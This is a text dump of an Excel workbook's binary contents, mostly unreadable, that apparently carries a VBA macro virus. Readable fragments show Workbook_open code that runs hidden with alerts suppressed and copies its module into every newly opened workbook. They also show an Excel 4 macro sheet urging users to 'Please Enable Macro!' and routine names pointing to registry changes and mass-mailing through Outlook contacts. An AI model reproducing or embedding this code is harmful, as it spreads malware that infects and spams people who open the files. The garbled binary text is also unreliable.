AQiProject ToVBProjectOverwriteExistingstrkeyValue ValueType WorkBookNameEmail_AddressSubjectBody CC_email_add AttachmentlengthFullPathFragMarkpathf Q ( Q)8\EXCEL.EXEExcel 9ThisWorkbookThisWorkbookSheet1Sheet1Sheet2Sheet2Sheet3Sheet3ToDOLEToDOLEPROJECT)SummaryInformation(DocumentSummaryInformation8CompObjjID="{6614723C-D2A3-4DE0-BF5C-974CE1D6CDCC}" Document=ThisWorkbook/&H00000000 Document=Sheet1/&H00000000 Document=Sheet2/&H00000000 Document=Sheet3/&H00000000 Module=ToDOLE Name="VBAProject" HelpContextID="0" VersionCompatible32="393222000" CMG="C2C0D534BC38BC38BC38BC38" DPB="A5A7B25D764177417741" GC="888A9FA0A0A0A05F" [Host Extender Info] &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 [Workspace] ThisWorkbook=0, 0, 0, 0, C Sheet1=0, 0, 0, 0, C Sheet2=0, 0, 0, 0, C Sheet3=0, 0, 0, 0, C ToDOLE=0, 0, 0, 0, C ame MacroOh+'0HP\h Microsoft Excel@.@2@bn 6Private Sub W՜.+,0 PXd lt| ' Sheet1Sheet2Sheet3  Call do_what End Sub bP FMicrosoft Office Excel Biff8Excel.Sheet.89qb.VBProject.References.AddFromGuid _ GUIK*yrU~~~~~~~~~~~~~~~H &\KBu+9Rs   ) A Ya a  )Qy 1Qi) Y  1 AQi1 VBAProject ThisWorkbookSheet1Sheet2Sheet3ģ1ToDOLEF /C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLLVBA  10F4C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXEExcel 9@0F OĦC:\WINDOWS\system32\stdole2.tlbstdole  QPL-[DR?C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLLOffice q`WFCC:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLBVBIDE  p auto_opencopytoworkbookdelete_this_wkdo_what copystartF copymoduleMicrosofthobbyOpenDoorWReg Movemacro4 WorkbookOpen ActionJudge search_in_OLCreatCab_SendMailMassive_SendMailif_outlook_open RadomNineget_ten_addressReadOut CreateFileRestoreBeforeSendRestoreAfterOpen FF F~Z (GGF m͎FR3;G nuDFWorkbook @FName Macro1  ThisWorkbook`FbFdFnF " FPublic WithEvents xx As Application 6Private Sub Workbook_open() (Set xx = Application (On Error Resume Next =ALERT("y(u[ sQ ]!mVJ==C BApplication.DisplayAlerts = False Call do_what End Sub bPrivate Sub xx_workbookOpen(ByVal wb As Workbook) Jwb.VBProject.References.AddFromGuid _ GUID:= L{0002E157-0000-0000-C000-000000000046} , _ $Major:=5, Minor:=3 DApplication.ScreenUpdating = False copystart wb BApplication.ScreenUpdating = TrueF\G%yE?\ Fa<>W^Hǁ6DF Worksheet Select A2 =ERROR(FALSE) A3 (=IF(ERROR.TYPE(RUN(" "))=4) A4 0Please Enable Macro!",3) A5 $=FILE.CLOSE(FALSE) A6 =END.IF() A7 =RETURN() !Auto_Activate =Macro1!$A$2VisibleVBE6.DLLq` q" (6o1qO"!%LtG?#Du"^M9h.ֱ